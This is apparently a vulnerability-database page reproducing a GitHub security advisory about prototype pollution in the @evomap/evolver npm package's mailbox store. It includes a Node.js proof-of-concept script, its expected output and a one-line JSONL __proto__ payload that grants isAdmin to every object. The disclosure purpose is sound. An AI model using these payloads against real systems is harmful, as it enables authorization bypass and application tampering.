Vulnerability-Lookup

GHSA-2CJR-5V3H-V2W4

Vulnerability from github – Published: 2026-04-22 22:05 – Updated: 2026-04-22 22:05

Summary

Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations

Details

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:

// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
  if (row._op === 'update') {
    const existing = this._index[row.id];
    // VULNERABLE: Direct Object.assign without key filtering
    if (existing) Object.assign(existing, row.fields);
    else this._index[row.id] = row.fields;
  }
  // ...
}

// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
  const existing = this._index[id];
  // VULNERABLE: Direct Object.assign without key filtering
  if (existing) Object.assign(existing, fields);
  // ...
}

The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.

The data flows from: 1. messages.jsonl file → 2. readLines() function (line 47) → 3. _rebuildIndex() (line 113) → _applyUpdate() (line 121) → 4. Object.assign() pollutes prototype

PoC

Prerequisites: - Node.js installed - Access to write to the mailbox messages file

Steps to reproduce:

Create a test file demonstrating the vulnerability:

// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable Store class logic
class VulnerableStore {
  constructor(filePath) {
    this.filePath = filePath;
    this._index = {};
  }

  load() {
    if (!fs.existsSync(this.filePath)) return;
    const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
    for (const line of lines) {
      if (!line.trim()) continue;
      try {
        const row = JSON.parse(line);
        this._applyUpdate(row);
      } catch (e) {
        // Ignore parse errors
      }
    }
  }

  _applyUpdate(row) {
    if (row._op === 'update') {
      const existing = this._index[row.id];
      // VULNERABLE: No filtering of dangerous keys
      if (existing) Object.assign(existing, row.fields);
      else this._index[row.id] = row.fields;
    }
  }

  update(id, fields) {
    this._updateRecord(id, fields);
  }

  _updateRecord(id, fields) {
    const existing = this._index[id];
    // VULNERABLE: No filtering of dangerous keys
    if (existing) Object.assign(existing, fields);
    else this._index[id] = fields;
  }
}

// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');

// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
  _op: 'update',
  id: 'msg-123',
  fields: {
    __proto__: {
      polluted: true,
      isAdmin: true
    },
    normalField: 'normalValue'
  }
}) + '\n';

const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');

fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');

// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();

// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);

if (testObj.polluted === true) {
  console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
  console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
  console.log('\n🟡 Prototype pollution may require different payload structure');
}

// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
  // Typical pattern that would be vulnerable
  if (user.isAdmin) {
    return 'Access granted - Admin privileges';
  }
  return 'Access denied';
}

const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));

// Cleanup
fs.rmSync(testDir, { recursive: true });

Run the test:

node test-prototype-pollution.js

Expected output:

=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true

🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.

=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges

Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.

Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:

{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to: - Property injection affecting all JavaScript objects - Authentication/authorization bypass - Application logic manipulation - Denial of service via prototype corruption - Potential remote code execution if polluted properties affect security-critical code paths

Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through: - File upload vulnerabilities - Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command) - Compromised backup files - Shared hosting environments

Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Severity ?

5.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.69.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T22:05:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n  if (row._op === \u0027update\u0027) {\n    const existing = this._index[row.id];\n    // VULNERABLE: Direct Object.assign without key filtering\n    if (existing) Object.assign(existing, row.fields);\n    else this._index[row.id] = row.fields;\n  }\n  // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n  const existing = this._index[id];\n  // VULNERABLE: Direct Object.assign without key filtering\n  if (existing) Object.assign(existing, fields);\n  // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file \u2192 \n2. `readLines()` function (line 47) \u2192 \n3. `_rebuildIndex()` (line 113) \u2192 `_applyUpdate()` (line 121) \u2192 \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n  constructor(filePath) {\n    this.filePath = filePath;\n    this._index = {};\n  }\n\n  load() {\n    if (!fs.existsSync(this.filePath)) return;\n    const lines = fs.readFileSync(this.filePath, \u0027utf8\u0027).split(\u0027\\n\u0027);\n    for (const line of lines) {\n      if (!line.trim()) continue;\n      try {\n        const row = JSON.parse(line);\n        this._applyUpdate(row);\n      } catch (e) {\n        // Ignore parse errors\n      }\n    }\n  }\n\n  _applyUpdate(row) {\n    if (row._op === \u0027update\u0027) {\n      const existing = this._index[row.id];\n      // VULNERABLE: No filtering of dangerous keys\n      if (existing) Object.assign(existing, row.fields);\n      else this._index[row.id] = row.fields;\n    }\n  }\n\n  update(id, fields) {\n    this._updateRecord(id, fields);\n  }\n\n  _updateRecord(id, fields) {\n    const existing = this._index[id];\n    // VULNERABLE: No filtering of dangerous keys\n    if (existing) Object.assign(existing, fields);\n    else this._index[id] = fields;\n  }\n}\n\n// Test the vulnerability\nconsole.log(\u0027=== Testing Prototype Pollution ===\\n\u0027);\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n  _op: \u0027update\u0027,\n  id: \u0027msg-123\u0027,\n  fields: {\n    __proto__: {\n      polluted: true,\n      isAdmin: true\n    },\n    normalField: \u0027normalValue\u0027\n  }\n}) + \u0027\\n\u0027;\n\nconst testDir = \u0027/tmp/evolver-pollution-test\u0027;\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, \u0027messages.jsonl\u0027);\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log(\u0027Created malicious messages.jsonl\u0027);\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log(\u0027\\n=== Checking for prototype pollution ===\u0027);\nconst testObj = {};\nconsole.log(\u0027testObj.polluted:\u0027, testObj.polluted);\nconsole.log(\u0027testObj.isAdmin:\u0027, testObj.isAdmin);\n\nif (testObj.polluted === true) {\n  console.log(\u0027\\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\u0027);\n  console.log(\u0027All objects now have \"polluted\" and \"isAdmin\" properties.\u0027);\n} else {\n  console.log(\u0027\\n\ud83d\udfe1 Prototype pollution may require different payload structure\u0027);\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log(\u0027\\n=== Impact Demonstration ===\u0027);\nfunction checkAdmin(user) {\n  // Typical pattern that would be vulnerable\n  if (user.isAdmin) {\n    return \u0027Access granted - Admin privileges\u0027;\n  }\n  return \u0027Access denied\u0027;\n}\n\nconst regularUser = { name: \u0027normal_user\u0027 };\nconsole.log(\u0027Regular user check:\u0027, checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n\ud83d\udd34 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.",
  "id": "GHSA-2cjr-5v3h-v2w4",
  "modified": "2026-04-22T22:05:28Z",
  "published": "2026-04-22T22:05:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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GHSA-2CJR-5V3H-V2W4

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